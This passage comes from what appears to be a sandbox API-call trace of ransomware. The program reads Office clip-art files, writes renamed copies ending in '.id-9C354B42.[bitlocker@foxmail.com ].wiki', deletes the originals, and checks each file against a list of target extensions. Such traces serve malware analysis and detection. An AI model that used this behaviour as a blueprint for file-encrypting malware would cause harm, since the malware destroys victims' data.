nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xdb0, lpOverlapped=0x0) returned 1 [0186.654] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.654] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.654] SetEndOfFile (hFile=0x1f4) returned 1 [0186.757] CloseHandle (hObject=0x1f4) returned 1 [0186.757] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.757] SetEndOfFile (hFile=0x1d0) returned 1 [0186.758] CloseHandle (hObject=0x1d0) returned 1 [0186.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0186.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.758] lstrlenW (lpString=".doc") returned 4 [0186.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.758] lstrlenW (lpString=".docx") returned 5 [0186.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.758] lstrlenW (lpString=".pdf") returned 4 [0186.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.758] lstrlenW (lpString=".xls") returned 4 [0186.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.759] lstrlenW (lpString=".xlsx") returned 5 [0186.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.759] lstrlenW (lpString=".ppt") returned 4 [0186.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString=".zip") returned 4 [0186.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.759] lstrlenW (lpString=".rar") returned 4 [0186.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString=".bz2") returned 4 [0186.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString=".7z") returned 3 [0186.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString=".dbf") returned 4 [0186.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString=".1cd") returned 4 [0186.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString=".jpg") returned 4 [0186.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.759] lstrlenW (lpString=".doc") returned 4 [0186.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString=".docx") returned 5 [0186.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.759] lstrlenW (lpString=".pdf") returned 4 [0186.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.759] lstrlenW (lpString=".xls") returned 4 [0186.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.760] lstrlenW (lpString=".xlsx") returned 5 [0186.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.760] lstrlenW (lpString=".ppt") returned 4 [0186.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.760] lstrlenW (lpString=".zip") returned 4 [0186.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.760] lstrlenW (lpString=".rar") returned 4 [0186.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.760] lstrlenW (lpString=".bz2") returned 4 [0186.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.760] lstrlenW (lpString=".7z") returned 3 [0186.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.760] lstrlenW (lpString=".dbf") returned 4 [0186.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.760] lstrlenW (lpString=".1cd") returned 4 [0186.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0186.760] lstrlenW (lpString=".jpg") returned 4 [0186.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.760] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.760] lstrlenW (lpString="CLASSIC1.WMF") returned 12 [0186.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.761] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2422) returned 1 [0186.761] CloseHandle (hObject=0x1d0) returned 1 [0186.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20 [0186.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.761] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.761] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.762] GetLastError () returned 0x0 [0186.762] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x976, lpOverlapped=0x0) returned 1 [0186.763] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x980, lpOverlapped=0x0) returned 1 [0186.764] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.764] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.764] SetEndOfFile (hFile=0x1f4) returned 1 [0186.764] CloseHandle (hObject=0x1f4) returned 1 [0186.765] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.765] SetEndOfFile (hFile=0x1d0) returned 1 [0186.765] CloseHandle (hObject=0x1d0) returned 1 [0186.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0186.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.766] lstrlenW (lpString=".doc") returned 4 [0186.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString=".docx") returned 5 [0186.766] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0186.766] lstrlenW (lpString=".pdf") returned 4 [0186.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString=".xls") returned 4 [0186.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.766] lstrlenW (lpString=".xlsx") returned 5 [0186.766] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0186.766] lstrlenW (lpString=".ppt") returned 4 [0186.766] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.766] lstrlenW (lpString=".zip") returned 4 [0186.766] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.766] lstrlenW (lpString=".rar") returned 4 [0186.766] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString=".bz2") returned 4 [0186.766] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString=".7z") returned 3 [0186.766] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.766] lstrlenW (lpString=".dbf") returned 4 [0186.766] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString=".1cd") returned 4 [0186.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString=".jpg") returned 4 [0186.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString=".doc") returned 4 [0186.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString=".docx") returned 5 [0186.767] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0186.767] lstrlenW (lpString=".pdf") returned 4 [0186.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString=".xls") returned 4 [0186.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.767] lstrlenW (lpString=".xlsx") returned 5 [0186.767] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0186.767] lstrlenW (lpString=".ppt") returned 4 [0186.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString=".zip") returned 4 [0186.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.767] lstrlenW (lpString=".rar") returned 4 [0186.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString=".bz2") returned 4 [0186.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.767] lstrlenW (lpString=".7z") returned 3 [0186.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.767] lstrlenW (lpString=".dbf") returned 4 [0186.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.768] lstrlenW (lpString=".1cd") returned 4 [0186.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63 [0186.768] lstrlenW (lpString=".jpg") returned 4 [0186.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.768] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.768] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0186.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.768] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2262) returned 1 [0186.768] CloseHandle (hObject=0x1d0) returned 1 [0186.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 0x20 [0186.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.769] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.769] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.769] GetLastError () returned 0x0 [0186.769] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0186.771] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0186.772] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.772] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.772] SetEndOfFile (hFile=0x1f4) returned 1 [0186.772] CloseHandle (hObject=0x1f4) returned 1 [0186.772] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.773] SetEndOfFile (hFile=0x1d0) returned 1 [0186.773] CloseHandle (hObject=0x1d0) returned 1 [0186.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0186.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.774] lstrlenW (lpString=".doc") returned 4 [0186.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.774] lstrlenW (lpString=".docx") returned 5 [0186.774] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0186.774] lstrlenW (lpString=".pdf") returned 4 [0186.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.774] lstrlenW (lpString=".xls") returned 4 [0186.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.774] lstrlenW (lpString=".xlsx") returned 5 [0186.774] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0186.774] lstrlenW (lpString=".ppt") returned 4 [0186.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.774] lstrlenW (lpString=".zip") returned 4 [0186.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.774] lstrlenW (lpString=".rar") returned 4 [0186.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.774] lstrlenW (lpString=".bz2") returned 4 [0186.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString=".7z") returned 3 [0186.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString=".dbf") returned 4 [0186.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString=".1cd") returned 4 [0186.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString=".jpg") returned 4 [0186.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString=".doc") returned 4 [0186.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString=".docx") returned 5 [0186.775] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0186.775] lstrlenW (lpString=".pdf") returned 4 [0186.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString=".xls") returned 4 [0186.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.775] lstrlenW (lpString=".xlsx") returned 5 [0186.775] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0186.775] lstrlenW (lpString=".ppt") returned 4 [0186.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.775] lstrlenW (lpString=".zip") returned 4 [0186.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.775] lstrlenW (lpString=".rar") returned 4 [0186.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.776] lstrlenW (lpString=".bz2") returned 4 [0186.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.776] lstrlenW (lpString=".7z") returned 3 [0186.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.776] lstrlenW (lpString=".dbf") returned 4 [0186.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.776] lstrlenW (lpString=".1cd") returned 4 [0186.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 63 [0186.776] lstrlenW (lpString=".jpg") returned 4 [0186.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.776] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.776] lstrlenW (lpString="CLIP.WMF") returned 8 [0186.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.776] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2262) returned 1 [0186.777] CloseHandle (hObject=0x1d0) returned 1 [0186.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20 [0186.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.777] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.777] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.777] GetLastError () returned 0x0 [0186.777] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8d6, lpOverlapped=0x0) returned 1 [0186.779] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8e0, lpOverlapped=0x0) returned 1 [0186.780] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.780] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xe4, 